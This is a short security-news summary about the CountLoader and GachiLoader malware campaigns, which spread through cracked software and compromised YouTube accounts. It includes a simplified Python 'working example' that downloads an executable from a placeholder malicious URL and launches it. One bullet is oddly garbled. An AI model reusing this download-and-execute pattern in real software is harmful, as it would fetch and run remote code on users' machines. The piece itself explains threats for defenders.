CountLoader and GachiLoader Malware Spread via Cracked Software and YouTube

Cracked Software and YouTube Videos Deliver Malware

Cybersecurity researchers have uncovered active campaigns distributing CountLoader and GachiLoader malware through cracked software distribution sites and compromised YouTube accounts. CountLoader, first detected in June 2025, is a modular loader capable of delivering various payloads including Cobalt Strike and info stealers, while GachiLoader utilizes a network of compromised YouTube accounts to distribute malicious JavaScript.

Why This Matters

Current threat landscapes demonstrate a shift towards sophisticated, multi-stage malware delivery systems that leverage trusted platforms like YouTube and commonly used software. The reliance on cracked software introduces significant risk, as these sources often bundle malicious code with legitimate programs; the potential scale of compromise is substantial, with the YouTube campaign alone reaching 220,000 views and the financial cost of data breaches stemming from these infections can reach millions.

Key Insights

• CountLoader can propagate via removable USB drives, 2025.
• GachiLoader leverages a “YouTube Ghost Network” of compromised accounts for distribution.
• Loaders like CountLoader and GachiLoader are increasingly used to deploy information stealers like ACR Stealer and Rhadamanthys.

Working Example

# Example of how CountLoader retrieves a payload (simplified)
import requests
import subprocess

def download_and_execute(url):
    try:
        response = requests.get(url)
        response.raise_for_status()  # Raise HTTPError for bad responses (4xx or 5xx)

        with open("payload.exe", "wb") as f:
            f.write(response.content)

        subprocess.Popen("payload.exe")

    except requests.exceptions.RequestException as e:
        print(f"Error downloading payload: {e}")
    except Exception as e:
        print(f"Error executing payload: {e}")

# Example URL (replace with actual malicious URL - DO NOT RUN!)
payload_url = "http://example.com/malicious_payload.exe"
download_and_execute(payload_url)

Practical Applications

• Use Case: Software companies need robust code signing and distribution channels to prevent tampering and ensure software integrity.
• Pitfall: Relying on unofficial software sources introduces significant security risks, potentially leading to data breaches and system compromise.

References:

• https://thehackernews.com/2025/12/cracked-software-and-youtube-videos.html